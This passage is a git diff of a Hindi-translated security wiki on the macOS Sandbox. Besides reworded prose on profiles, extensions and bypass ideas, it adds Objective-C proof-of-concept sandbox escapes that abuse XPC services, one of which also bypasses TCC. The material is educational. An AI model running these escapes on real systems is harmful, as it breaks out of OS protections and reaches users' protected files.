होगा जिसे Apple द्वारा अधिकृत किया जाना चाहिए। इस अधिकार की परिभाषा की जांच करना संभव है **`/System/Library/Sandbox/Profiles/application.sb:`** ```scheme @@ -255,17 +257,17 @@ iOS में, डिफ़ॉल्ट प्रोफाइल को **contai ### Sandbox प्रोफ़ाइल को संकलित और डीकंपाइल करना -**`sandbox-exec`** उपकरण `libsandbox.dylib` से `sandbox_compile_*` कार्यों का उपयोग करता है। मुख्य निर्यातित कार्य हैं: `sandbox_compile_file` (एक फ़ाइल पथ की अपेक्षा करता है, पैरामीटर `-f`), `sandbox_compile_string` (एक स्ट्रिंग की अपेक्षा करता है, पैरामीटर `-p`), `sandbox_compile_name` (एक कंटेनर का नाम अपेक्षित है, पैरामीटर `-n`), `sandbox_compile_entitlements` (अधिकार plist की अपेक्षा करता है)। +**`sandbox-exec`** टूल `libsandbox.dylib` से `sandbox_compile_*` फ़ंक्शंस का उपयोग करता है। मुख्य निर्यातित फ़ंक्शंस हैं: `sandbox_compile_file` (एक फ़ाइल पथ की अपेक्षा करता है, पैरामीटर `-f`), `sandbox_compile_string` (एक स्ट्रिंग की अपेक्षा करता है, पैरामीटर `-p`), `sandbox_compile_name` (एक कंटेनर का नाम अपेक्षित है, पैरामीटर `-n`), `sandbox_compile_entitlements` (अधिकार plist की अपेक्षा करता है)। -इसका उलटा और [**उद्घाटन स्रोत संस्करण उपकरण sandbox-exec**](https://newosxbook.com/src.jl?tree=listings&file=/sandbox_exec.c) **`sandbox-exec`** को संकलित Sandbox प्रोफ़ाइल को फ़ाइल में लिखने की अनुमति देता है। +इसका उलटा और [**टूल sandbox-exec का ओपन-सोर्स संस्करण**](https://newosxbook.com/src.jl?tree=listings&file=/sandbox_exec.c) **`sandbox-exec`** को संकलित Sandbox प्रोफ़ाइल को एक फ़ाइल में लिखने की अनुमति देता है। इसके अलावा, एक प्रक्रिया को एक कंटेनर के अंदर सीमित करने के लिए यह `sandbox_spawnattrs_set[container/profilename]` को कॉल कर सकता है और एक कंटेनर या पूर्व-निर्मित प्रोफ़ाइल पास कर सकता है। ## Sandbox को डिबग और बायपास करना -macOS पर, iOS के विपरीत जहां प्रक्रियाएँ शुरू से ही कर्नेल द्वारा Sandbox की गई होती हैं, **प्रक्रियाओं को स्वयं Sandbox में शामिल होना चाहिए**। इसका मतलब है कि macOS पर, एक प्रक्रिया Sandbox द्वारा प्रतिबंधित नहीं होती है जब तक कि वह सक्रिय रूप से इसमें प्रवेश करने का निर्णय नहीं लेती, हालांकि App Store ऐप्स हमेशा Sandbox में होते हैं। +macOS पर, iOS के विपरीत जहां प्रक्रियाएँ शुरू से ही कर्नेल द्वारा Sandbox की जाती हैं, **प्रक्रियाओं को स्वयं Sandbox में शामिल होना चाहिए**। इसका मतलब है कि macOS पर, एक प्रक्रिया Sandbox द्वारा प्रतिबंधित नहीं होती है जब तक कि वह सक्रिय रूप से इसमें प्रवेश करने का निर्णय नहीं लेती, हालांकि App Store ऐप्स हमेशा Sandbox में होते हैं। -यदि प्रक्रियाओं के पास अधिकार है: `com.apple.security.app-sandbox`, तो वे उपयोगकर्ता भूमि से स्वचालित रूप से Sandbox में होती हैं जब वे शुरू होती हैं। इस प्रक्रिया के विस्तृत विवरण के लिए देखें: +यदि प्रक्रियाओं के पास अधिकार है: `com.apple.security.app-sandbox`, तो वे उपयोगकर्ता भूमि से स्वचालित रूप से Sandbox की जाती हैं जब वे शुरू होती हैं। इस प्रक्रिया के विस्तृत विवरण के लिए देखें: {{#ref}} macos-sandbox-debug-and-bypass/ @@ -273,7 +275,7 @@ macos-sandbox-debug-and-bypass/ ## **Sandbox एक्सटेंशन** -एक्सटेंशन किसी वस्तु को और अधिक विशेषाधिकार देने की अनुमति देते हैं और इनमें से किसी एक कार्य को कॉल करते हैं: +एक्सटेंशन किसी ऑब्जेक्ट को और अधिक विशेषाधिकार देने की अनुमति देते हैं और इनमें से किसी एक फ़ंक्शन को कॉल करते हैं: - `sandbox_issue_extension` - `sandbox_extension_issue_file[_with_new_type]` @@ -288,13 +290,13 @@ macos-sandbox-debug-and-bypass/ ध्यान दें कि एक्सटेंशन आमतौर पर अनुमत प्रक्रियाओं द्वारा दिए जाते हैं, उदाहरण के लिए, `tccd` उस प्रक्रिया को `com.apple.tcc.kTCCServicePhotos` का एक्सटेंशन टोकन देगा जब एक प्रक्रिया फ़ोटो तक पहुँचने की कोशिश करती है और उसे XPC संदेश में अनुमति दी जाती है। फिर, प्रक्रिया को एक्सटेंशन टोकन का उपभोग करने की आवश्यकता होगी ताकि इसे जोड़ा जा सके।\ ध्यान दें कि एक्सटेंशन टोकन लंबे हेक्साडेसिमल होते हैं जो दिए गए अनुमतियों को एन्कोड करते हैं। हालाँकि, इनमें अनुमत PID हार्डकोडेड नहीं होता है, जिसका अर्थ है कि किसी भी प्रक्रिया के पास टोकन तक पहुँच होने पर इसे **कई प्रक्रियाओं द्वारा उपभोग किया जा सकता है**। -ध्यान दें कि एक्सटेंशन भी अधिकारों से बहुत संबंधित होते हैं, इसलिए कुछ अधिकार होने से स्वचालित रूप से कुछ एक्सटेंशन मिल सकते हैं। +ध्यान दें कि एक्सटेंशन अधिकारों से भी बहुत संबंधित होते हैं, इसलिए कुछ अधिकार होने से स्वचालित रूप से कुछ एक्सटेंशन मिल सकते हैं। ### **PID विशेषाधिकार की जाँच करें** -[**इसके अनुसार**](https://www.youtube.com/watch?v=mG715HcDgO8&t=3011s), **`sandbox_check`** कार्य (यह एक `__mac_syscall` है), यह जाँच कर सकते हैं **क्या एक ऑपरेशन को एक निश्चित PID, ऑडिट टोकन या अद्वितीय ID द्वारा Sandbox में अनुमति दी गई है या नहीं**। +[**इसके अनुसार**](https://www.youtube.com/watch?v=mG715HcDgO8&t=3011s), **`sandbox_check`** फ़ंक्शंस (यह एक `__mac_syscall` है), यह जाँच कर सकते हैं **क्या एक ऑपरेशन को एक निश्चित PID, ऑडिट टोकन या अद्वितीय ID द्वारा Sandbox में अनुमति दी गई है या नहीं**। -[**उपकरण sbtool**](http://newosxbook.com/src.jl?tree=listings&file=sbtool.c) (इसे [यहाँ संकलित किया गया है](https://newosxbook.com/articles/hitsb.html)) यह जाँच कर सकता है कि क्या एक PID कुछ निश्चित क्रियाएँ कर सकता है: +[**टूल sbtool**](http://newosxbook.com/src.jl?tree=listings&file=sbtool.c) (इसे [यहाँ संकलित किया गया है](https://newosxbook.com/articles/hitsb.html)) यह जाँच कर सकता है कि क्या एक PID कुछ कार्य कर सकता है: ```bash sbtool mach #Check mac-ports (got from launchd with an api) sbtool file /tmp #Check file access @@ -335,7 +337,7 @@ sbtool all - **sandbox_user_state_item_buffer_send (#15)**: (iOS 10+) सैंडबॉक्स में उपयोगकर्ता मोड मेटाडेटा सेट करें। - **inspect (#16)**: एक सैंडबॉक्स की गई प्रक्रिया के बारे में डिबग जानकारी प्रदान करें। - **dump (#18)**: (macOS 11) विश्लेषण के लिए एक सैंडबॉक्स की वर्तमान प्रोफ़ाइल को डंप करें। -- **vtrace (#19)**: निगरानी या डिबगिंग के लिए सैंडबॉक्स संचालन का पता लगाएं। +- **vtrace (#19)**: निगरानी या डिबगिंग के लिए सैंडबॉक्स संचालन का ट्रेस करें। - **builtin_profile_deactivate (#20)**: (macOS < 11) नामित प्रोफ़ाइलों को निष्क्रिय करें (जैसे, `pe_i_can_has_debugger`)। - **check_bulk (#21)**: एक ही कॉल में कई `sandbox_check` संचालन करें। - **reference_retain_by_audit_token (#28)**: सैंडबॉक्स जांचों में उपयोग के लिए एक ऑडिट टोकन के लिए एक संदर्भ बनाएं। @@ -356,15 +358,15 @@ sbtool all ### MACF Hooks -**`Sandbox.kext`** MACF के माध्यम से एक सौ से अधिक हुक का उपयोग करता है। अधिकांश हुक कुछ तुच्छ मामलों की जांच करेंगे जो कार्रवाई करने की अनुमति देते हैं, यदि नहीं, तो वे **`cred_sb_evalutate`** को MACF से **क्रेडेंशियल्स** और एक संख्या के साथ कॉल करेंगे जो **ऑपरेशन** को करने के लिए है और एक **बफर** आउटपुट के लिए है। +**`Sandbox.kext`** MACF के माध्यम से एक सौ से अधिक हुक का उपयोग करता है। अधिकांश हुक कुछ तुच्छ मामलों की जांच करेंगे जो कार्रवाई करने की अनुमति देते हैं, यदि नहीं, तो वे **`cred_sb_evalutate`** को MACF से **क्रेडेंशियल्स** और एक संख्या के साथ कॉल करेंगे जो **ऑपरेशन** को करने के लिए है और एक **बफर** आउटपुट के लिए। -इसका एक अच्छा उदाहरण फ़ंक्शन **`_mpo_file_check_mmap`** है जो **`mmap`** को हुक करता है और यह जांचना शुरू करेगा कि क्या नई मेमोरी लिखने योग्य होने जा रही है (और यदि नहीं तो निष्पादन की अनुमति नहीं देगा), फिर यह जांचेगा कि क्या इसका उपयोग dyld साझा कैश के लिए किया जा रहा है और यदि हां तो निष्पादन की अनुमति देगा, और अंततः यह **`sb_evaluate_internal`** (या इसके लपेटनों में से एक) को आगे की अनुमति जांच करने के लिए कॉल करेगा। +इसका एक अच्छा उदाहरण फ़ंक्शन **`_mpo_file_check_mmap`** है जो **`mmap`** को हुक करता है और यह जांचना शुरू करेगा कि नई मेमोरी लिखने योग्य होने जा रही है (और यदि नहीं तो निष्पादन की अनुमति नहीं देगा), फिर यह जांचेगा कि क्या इसका उपयोग dyld साझा कैश के लिए किया जा रहा है और यदि हां तो निष्पादन की अनुमति देगा, और अंततः यह **`sb_evaluate_internal`** (या इसके किसी लपेटन) को आगे की अनुमति जांच करने के लिए कॉल करेगा। -इसके अलावा, सैंडबॉक्स द्वारा उपयोग किए जाने वाले सौ(ओं) हुक में से, 3 विशेष रूप से बहुत दिलचस्प हैं: +इसके अलावा, सैंडबॉक्स द्वारा उपयोग किए जाने वाले सौ(ओं) हुक में से, विशेष रूप से 3 बहुत दिलचस्प हैं: - `mpo_proc_check_for`: यदि आवश्यक हो तो प्रोफ़ाइल लागू करता है और यदि इसे पहले लागू नहीं किया गया था। -- `mpo_vnode_check_exec`: जब एक प्रक्रिया संबंधित बाइनरी को लोड करती है, तो एक प्रोफ़ाइल जांच की जाती है और SUID/SGID निष्पादनों को प्रतिबंधित करने के लिए भी एक जांच की जाती है। -- `mpo_cred_label_update_execve`: यह तब कॉल किया जाता है जब लेबल असाइन किया जाता है। यह सबसे लंबा होता है क्योंकि इसे तब कॉल किया जाता है जब बाइनरी पूरी तरह से लोड हो जाती है लेकिन अभी तक निष्पादित नहीं होती है। यह सैंडबॉक्स ऑब्जेक्ट बनाने, kauth क्रेडेंशियल्स से सैंडबॉक्स संरचना संलग्न करने, mach पोर्ट्स तक पहुंच को हटाने जैसी क्रियाएँ करेगा... +- `mpo_vnode_check_exec`: जब एक प्रक्रिया संबंधित बाइनरी को लोड करती है, तो एक प्रोफ़ाइल जांच की जाती है और SUID/SGID निष्पादनों को प्रतिबंधित करने की भी जांच की जाती है। +- `mpo_cred_label_update_execve`: इसे तब कॉल किया जाता है जब लेबल असाइन किया जाता है। यह सबसे लंबा होता है क्योंकि इसे तब कॉल किया जाता है जब बाइनरी पूरी तरह से लोड हो जाती है लेकिन अभी तक निष्पादित नहीं होती है। यह सैंडबॉक्स ऑब्जेक्ट बनाने, kauth क्रेडेंशियल्स से सैंडबॉक्स संरचना संलग्न करने, mach पोर्ट्स तक पहुंच को हटाने जैसी क्रियाएँ करेगा... ध्यान दें कि **`_cred_sb_evalutate`** **`sb_evaluate_internal`** का एक लपेटन है और यह फ़ंक्शन पास किए गए क्रेडेंशियल्स को प्राप्त करता है और फिर **`eval`** फ़ंक्शन का उपयोग करके मूल्यांकन करता है जो आमतौर पर **प्लेटफ़ॉर्म प्रोफ़ाइल** का मूल्यांकन करता है जो डिफ़ॉल्ट रूप से सभी प्रक्रियाओं पर लागू होता है और फिर **विशिष्ट प्रक्रिया प्रोफ़ाइल**। ध्यान दें कि प्लेटफ़ॉर्म प्रोफ़ाइल macOS में **SIP** के मुख्य घटकों में से एक है। diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md index d502aa12b..fd9cb26f6 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md @@ -10,16 +10,16 @@ कंपाइलर `/usr/lib/libSystem.B.dylib` को बाइनरी से लिंक करेगा। -फिर, **`libSystem.B`** अन्य कई फ़ंक्शंस को कॉल करेगा जब तक कि **`xpc_pipe_routine`** ऐप के अधिकारों को **`securityd`** को नहीं भेजता। Securityd यह जांचता है कि क्या प्रक्रिया को सैंडबॉक्स के अंदर क्वारंटाइन किया जाना चाहिए, और यदि हां, तो इसे क्वारंटाइन किया जाएगा।\ +फिर, **`libSystem.B`** अन्य कई फ़ंक्शनों को कॉल करेगा जब तक कि **`xpc_pipe_routine`** ऐप के अधिकारों को **`securityd`** को नहीं भेजता। Securityd यह जांचता है कि क्या प्रक्रिया को सैंडबॉक्स के अंदर क्वारंटाइन किया जाना चाहिए, और यदि हां, तो इसे क्वारंटाइन कर दिया जाएगा।\ अंत में, सैंडबॉक्स को **`__sandbox_ms`** को कॉल करके सक्रिय किया जाएगा, जो **`__mac_syscall`** को कॉल करेगा। ## Possible Bypasses ### Bypassing quarantine attribute -**सैंडबॉक्स किए गए प्रक्रियाओं द्वारा बनाए गए फ़ाइलों** में **क्वारंटाइन विशेषता** जोड़ी जाती है ताकि सैंडबॉक्स से बचा जा सके। हालाँकि, यदि आप **क्वारंटाइन विशेषता के बिना एक `.app` फ़ोल्डर बनाने में सफल होते हैं** सैंडबॉक्स किए गए एप्लिकेशन के भीतर, तो आप ऐप बंडल बाइनरी को **`/bin/bash`** की ओर इंगित कर सकते हैं और **plist** में कुछ env वेरिएबल जोड़ सकते हैं ताकि **`open`** का दुरुपयोग करके **नए ऐप को बिना सैंडबॉक्स के लॉन्च** किया जा सके। +**सैंडबॉक्स किए गए प्रक्रियाओं द्वारा बनाए गए फ़ाइलों** में **क्वारंटाइन विशेषता** जोड़ी जाती है ताकि सैंडबॉक्स से बचा जा सके। हालाँकि, यदि आप **क्वारंटाइन विशेषता के बिना एक `.app` फ़ोल्डर बनाने में सफल होते हैं** सैंडबॉक्स किए गए एप्लिकेशन के भीतर, तो आप ऐप बंडल बाइनरी को **`/bin/bash`** की ओर इंगित कर सकते हैं और **plist** में कुछ env वेरिएबल जोड़ सकते हैं ताकि **`open`** का दुरुपयोग करके **नए ऐप को बिना सैंडबॉक्स के लॉन्च किया जा सके**। -यह वही किया गया था [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)**.** +यह वही है जो [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)** में किया गया था।** > [!CAUTION] > इसलिए, इस समय, यदि आप केवल **`.app`** के नाम के साथ एक फ़ोल्डर बनाने में सक्षम हैं जिसमें क्वारंटाइन विशेषता नहीं है, तो आप सैंडबॉक्स से बच सकते हैं क्योंकि macOS केवल **`.app` फ़ोल्डर** और **मुख्य निष्पादन योग्य** में **क्वारंटाइन** विशेषता की **जांच** करता है (और हम मुख्य निष्पादन योग्य को **`/bin/bash`** की ओर इंगित करेंगे)। @@ -28,7 +28,7 @@ ### Abusing Open functionality -[**शब्द सैंडबॉक्स बायपास के अंतिम उदाहरणों**](macos-office-sandbox-bypasses.md#word-sandbox-bypass-via-login-items-and-.zshenv) में देखा जा सकता है कि **`open`** CLI कार्यक्षमता का दुरुपयोग कैसे किया जा सकता है सैंडबॉक्स को बायपास करने के लिए। +[**शब्द सैंडबॉक्स बायपास के अंतिम उदाहरणों**](macos-office-sandbox-bypasses.md#word-sandbox-bypass-via-login-items-and-.zshenv) में देखा जा सकता है कि **`open`** CLI कार्यक्षमता का दुरुपयोग कैसे किया जा सकता है ताकि सैंडबॉक्स को बायपास किया जा सके। {{#ref}} macos-office-sandbox-bypasses.md @@ -36,16 +36,16 @@ macos-office-sandbox-bypasses.md ### Launch Agents/Daemons -भले ही एक एप्लिकेशन **सैंडबॉक्स किया गया हो** (`com.apple.security.app-sandbox`), यदि इसे **LaunchAgent** (`~/Library/LaunchAgents`) से चलाया जाता है, तो सैंडबॉक्स को बायपास करना संभव है।\ -जैसा कि [**इस पोस्ट**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818) में समझाया गया है, यदि आप एक सैंडबॉक्स किए गए एप्लिकेशन के साथ स्थिरता प्राप्त करना चाहते हैं, तो आप इसे स्वचालित रूप से एक LaunchAgent के रूप में निष्पादित कर सकते हैं और शायद DyLib पर्यावरण वेरिएबल के माध्यम से दुर्भावनापूर्ण कोड इंजेक्ट कर सकते हैं। +यहां तक कि यदि एक एप्लिकेशन **सैंडबॉक्स किया जाना है** (`com.apple.security.app-sandbox`), तो इसे सैंडबॉक्स को बायपास करने के लिए **एक LaunchAgent से निष्पादित किया जा सकता है** (`~/Library/LaunchAgents`) उदाहरण के लिए।\ +जैसा कि [**इस पोस्ट**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818) में समझाया गया है, यदि आप एक सैंडबॉक्स किए गए एप्लिकेशन के साथ स्थिरता प्राप्त करना चाहते हैं, तो आप इसे स्वचालित रूप से एक LaunchAgent के रूप में निष्पादित कर सकते हैं और शायद DyLib पर्यावरण चर के माध्यम से दुर्भावनापूर्ण कोड इंजेक्ट कर सकते हैं। ### Abusing Auto Start Locations -यदि एक सैंडबॉक्स प्रक्रिया **लिख सकती है** एक ऐसी जगह पर जहां **बाद में एक बिना सैंडबॉक्स एप्लिकेशन बाइनरी चलाने जा रहा है**, तो यह **सिर्फ वहां बाइनरी रखकर** बचने में सक्षम होगी। इस प्रकार के स्थानों का एक अच्छा उदाहरण `~/Library/LaunchAgents` या `/System/Library/LaunchDaemons` हैं। +यदि एक सैंडबॉक्स प्रक्रिया **एक स्थान पर लिख सकती है** जहां **बाद में एक बिना सैंडबॉक्स एप्लिकेशन बाइनरी चलाने जा रहा है**, तो यह **सिर्फ वहां बाइनरी रखकर** बचने में सक्षम होगी। इस प्रकार के स्थानों का एक अच्छा उदाहरण `~/Library/LaunchAgents` या `/System/Library/LaunchDaemons` हैं। -इसके लिए आपको **2 चरणों** की आवश्यकता हो सकती है: एक प्रक्रिया बनाने के लिए जिसमें **अधिक अनुमति वाला सैंडबॉक्स** (`file-read*`, `file-write*`) हो जो आपके कोड को निष्पादित करेगा जो वास्तव में एक ऐसी जगह पर लिखेगा जहां इसे **बिना सैंडबॉक्स के निष्पादित किया जाएगा**। +इसके लिए आपको **2 चरणों** की आवश्यकता हो सकती है: एक प्रक्रिया बनाने के लिए जिसमें **अधिक अनुमति वाला सैंडबॉक्स** (`file-read*`, `file-write*`) हो जो आपके कोड को निष्पादित करेगा जो वास्तव में एक स्थान पर लिखेगा जहां इसे **बिना सैंडबॉक्स के निष्पादित किया जाएगा**। -इस पृष्ठ को **ऑटो स्टार्ट स्थानों** के बारे में देखें: +स्वचालित प्रारंभ स्थानों के बारे में इस पृष्ठ की जांच करें: {{#ref}} ../../../../macos-auto-start-locations.md @@ -53,27 +53,188 @@ macos-office-sandbox-bypasses.md ### Abusing other processes -यदि आप उस सैंडबॉक्स प्रक्रिया से **अन्य प्रक्रियाओं को समझौता करने में सक्षम हैं** जो कम प्रतिबंधात्मक सैंडबॉक्स (या कोई नहीं) में चल रही हैं, तो आप उनके सैंडबॉक्स में भागने में सक्षम होंगे: +यदि आप तब सैंडबॉक्स प्रक्रिया से **कम प्रतिबंधात्मक सैंडबॉक्स (या कोई नहीं) में चल रहे अन्य प्रक्रियाओं को समझौता करने में सक्षम हैं**, तो आप उनके सैंडबॉक्स में भागने में सक्षम होंगे: {{#ref}} ../../../macos-proces-abuse/ {{#endref}} -### Static Compiling & Dynamically linking +### Available System and User Mach services -[**यह शोध**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) ने सैंडबॉक्स को बायपास करने के 2 तरीके खोजे। क्योंकि सैंडबॉक्स उपयोगकर्ता भूमि से लागू होता है जब **libSystem** पुस्तकालय लोड होता है। यदि एक बाइनरी इसे लोड करने से बच सकती है, तो यह कभी भी सैंडबॉक्स नहीं होगी: +सैंडबॉक्स कुछ निश्चित **Mach सेवाओं** के साथ XPC के माध्यम से संवाद करने की अनुमति भी देता है जो प्रोफ़ाइल `application.sb` में परिभाषित हैं। यदि आप इनमें से किसी सेवा का **दुरुपयोग** करने में सक्षम हैं, तो आप **सैंडबॉक्स से बचने** में सक्षम हो सकते हैं। -- यदि बाइनरी **पूर्ण रूप से स्थिर रूप से संकलित** होती है, तो यह उस पुस्तकालय को लोड करने से बच सकती है। -- यदि **बाइनरी को किसी पुस्तकालय को लोड करने की आवश्यकता नहीं है** (क्योंकि लिंकर भी libSystem में है), तो इसे libSystem को लोड करने की आवश्यकता नहीं होगी। +जैसा कि [इस लेखन](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/) में संकेत दिया गया है, Mach सेवाओं के बारे में जानकारी `/System/Library/xpc/launchd.plist` में संग्रहीत होती है। आप उस फ़ाइल के अंदर `System` और `User` की खोज करके सभी सिस्टम और उपयोगकर्ता Mach सेवाओं को पा सकते हैं। -### Shellcodes +इसके अलावा, यह जांचना संभव है कि क्या एक Mach सेवा एक सैंडबॉक्स किए गए एप्लिकेशन के लिए उपलब्ध है `bootstrap_look_up` को कॉल करके: +```objectivec +void checkService(const char *serviceName) { +mach_port_t service_port = MACH_PORT_NULL; +kern_return_t err = bootstrap_look_up(bootstrap_port, serviceName, &service_port); +if (!err) { +NSLog(@"available service:%s", serviceName); +mach_port_deallocate(mach_task_self_, service_port); +} +} + +void print_available_xpc(void) { +NSDictionary* dict = [NSDictionary dictionaryWithContentsOfFile:@"/System/Library/xpc/launchd.plist"]; +NSDictionary* launchDaemons = dict[@"LaunchDaemons"]; +for (NSString* key in launchDaemons) { +NSDictionary* job = launchDaemons[key]; +NSDictionary* machServices = job[@"MachServices"]; +for (NSString* serviceName in machServices) { +checkService(serviceName.UTF8String); +} +} +} +``` +### उपलब्ध PID Mach सेवाएँ + +इन Mach सेवाओं का पहले [इस लेख में सैंडबॉक्स से बाहर निकलने के लिए दुरुपयोग किया गया था](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)। उस समय, **एक एप्लिकेशन और इसके ढांचे द्वारा आवश्यक सभी XPC सेवाएँ** ऐप के PID डोमेन में दिखाई दे रही थीं (ये Mach सेवाएँ हैं जिनका `ServiceType` `Application` है)। + +**एक PID डोमेन XPC सेवा से संपर्क करने के लिए**, इसे ऐप के अंदर एक पंक्ति के साथ पंजीकृत करना आवश्यक है: +```objectivec +[[NSBundle bundleWithPath:@“/System/Library/PrivateFrameworks/ShoveService.framework"]load]; +``` +इसके अलावा, सभी **Application** Mach सेवाओं को `System/Library/xpc/launchd.plist` के अंदर `Application` के लिए खोजकर पाया जा सकता है। + +वैध xpc सेवाओं को खोजने का एक और तरीका है: +```bash +find /System/Library/Frameworks -name "*.xpc" +find /System/Library/PrivateFrameworks -name "*.xpc" +``` +इस तकनीक का दुरुपयोग करने के कई उदाहरण [**मूल लेख**](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/) में पाए जा सकते हैं, हालाँकि, निम्नलिखित कुछ संक्षिप्त उदाहरण हैं। + +#### /System/Library/PrivateFrameworks/StorageKit.framework/XPCServices/storagekitfsrunner.xpc + +यह सेवा हर XPC कनेक्शन की अनुमति देती है क्योंकि यह हमेशा `YES` लौटाती है और विधि `runTask:arguments:withReply:` एक मनमाना कमांड मनमाने पैरामीटर के साथ निष्पादित करती है। + +शोषण "इतना सरल था": +```objectivec +@protocol SKRemoteTaskRunnerProtocol +-(void)runTask:(NSURL *)task arguments:(NSArray *)args withReply:(void (^)(NSNumber *, NSError *))reply; +@end + +void exploit_storagekitfsrunner(void) { +[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/StorageKit.framework"] load]; +NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.storagekitfsrunner"]; +conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SKRemoteTaskRunnerProtocol)]; +[conn setInterruptionHandler:^{NSLog(@"connection interrupted!");}]; +[conn setInvalidationHandler:^{NSLog(@"connection invalidated!");}]; +[conn resume]; + +[[conn remoteObjectProxy] runTask:[NSURL fileURLWithPath:@"/usr/bin/touch"] arguments:@[@"/tmp/sbx"] withReply:^(NSNumber *bSucc, NSError *error) { +NSLog(@"run task result:%@, error:%@", bSucc, error); +}]; +} +``` +#### /System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework/XPCServices/AudioAnalyticsHelperService.xpc + +यह XPC सेवा हर क्लाइंट को हमेशा YES लौटाकर अनुमति देती थी और विधि `createZipAtPath:hourThreshold:withReply:` मूल रूप से एक फ़ोल्डर के पथ को संकुचित करने के लिए इंगित करने की अनुमति देती थी और यह इसे एक ZIP फ़ाइल में संकुचित कर देगी। + +इसलिए, एक नकली ऐप फ़ोल्डर संरचना उत्पन्न करना, उसे संकुचित करना, फिर उसे अनज़िप करना और निष्पादित करना संभव है ताकि सैंडबॉक्स से बाहर निकलने के लिए नए फ़ाइलों में संगरोध विशेषता न हो। + +शोषण था: +```objectivec +@protocol AudioAnalyticsHelperServiceProtocol +-(void)pruneZips:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply; +-(void)createZipAtPath:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply; +@end +void exploit_AudioAnalyticsHelperService(void) { +NSString *currentPath = NSTemporaryDirectory(); +chdir([currentPath UTF8String]); +NSLog(@"======== preparing payload at the current path:%@", currentPath); +system("mkdir -p compressed/poc.app/Contents/MacOS; touch 1.json"); +[@"#!/bin/bash\ntouch /tmp/sbx\n" writeToFile:@"compressed/poc.app/Contents/MacOS/poc" atomically:YES encoding:NSUTF8StringEncoding error:0]; +system("chmod +x compressed/poc.app/Contents/MacOS/poc"); + +[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework"] load]; +NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.internal.audioanalytics.helper"]; +conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(AudioAnalyticsHelperServiceProtocol)]; +[conn resume]; + +[[conn remoteObjectProxy] createZipAtPath:currentPath hourThreshold:0 withReply:^(id *error){ +NSDirectoryEnumerator *dirEnum = [[[NSFileManager alloc] init] enumeratorAtPath:currentPath]; +NSString *file; +while ((file = [dirEnum nextObject])) { +if ([[file pathExtension] isEqualToString: @"zip"]) { +// open the zip +NSString *cmd = [@"open " stringByAppendingString:file]; +system([cmd UTF8String]); + +sleep(3); // wait for decompression and then open the payload (poc.app) +NSString *cmd2 = [NSString stringWithFormat:@"open /Users/%@/Downloads/%@/poc.app", NSUserName(), [file stringByDeletingPathExtension]]; +system([cmd2 UTF8String]); +break; +} +} +}]; +} +``` +#### /System/Library/PrivateFrameworks/WorkflowKit.framework/XPCServices/ShortcutsFileAccessHelper.xpc + +यह XPC सेवा XPC क्लाइंट को `extendAccessToURL:completion:` विधि के माध्यम से एक मनमाने URL के लिए पढ़ने और लिखने की अनुमति देती है, जो किसी भी कनेक्शन को स्वीकार करती है। चूंकि XPC सेवा में FDA है, इसलिए इन अनुमतियों का दुरुपयोग करके TCC को पूरी तरह से बायपास करना संभव है। + +शोषण था: +```objectivec +@protocol WFFileAccessHelperProtocol +- (void) extendAccessToURL:(NSURL *) url completion:(void (^) (FPSandboxingURLWrapper *, NSError *))arg2; +@end +typedef int (*PFN)(const char *); +void expoit_ShortcutsFileAccessHelper(NSString *target) { +[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/WorkflowKit.framework"]load]; +NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.WorkflowKit.ShortcutsFileAccessHelper"]; +conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(WFFileAccessHelperProtocol)]; +[conn.remoteObjectInterface setClasses:[NSSet setWithArray:@[[NSError class], objc_getClass("FPSandboxingURLWrapper")]] forSelector:@selector(extendAccessToURL:completion:) argumentIndex:0 ofReply:1]; +[conn resume]; + +[[conn remoteObjectProxy] extendAccessToURL:[NSURL fileURLWithPath:target] completion:^(FPSandboxingURLWrapper *fpWrapper, NSError *error) { +NSString *sbxToken = [[NSString alloc] initWithData:[fpWrapper scope] encoding:NSUTF8StringEncoding]; +NSURL *targetURL = [fpWrapper url]; + +void *h = dlopen("/usr/lib/system/libsystem_sandbox.dylib", 2); +PFN sandbox_extension_consume = (PFN)dlsym(h, "sandbox_extension_consume"); +if (sandbox_extension_consume([sbxToken UTF8String]) == -1) +NSLog(@"Fail to consume the sandbox token:%@", sbxToken); +else { +NSLog(@"Got the file R&W permission with sandbox token:%@", sbxToken); +NSLog(@"Read the target content:%@", [NSData dataWithContentsOfURL:targetURL]); +} +}]; +} +``` +### स्थैतिक संकलन और गतिशील लिंकिंग + +[**यह शोध**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) ने Sandbox को बायपास करने के 2 तरीके खोजे। क्योंकि Sandbox उपयोगकर्ता स्तर से लागू 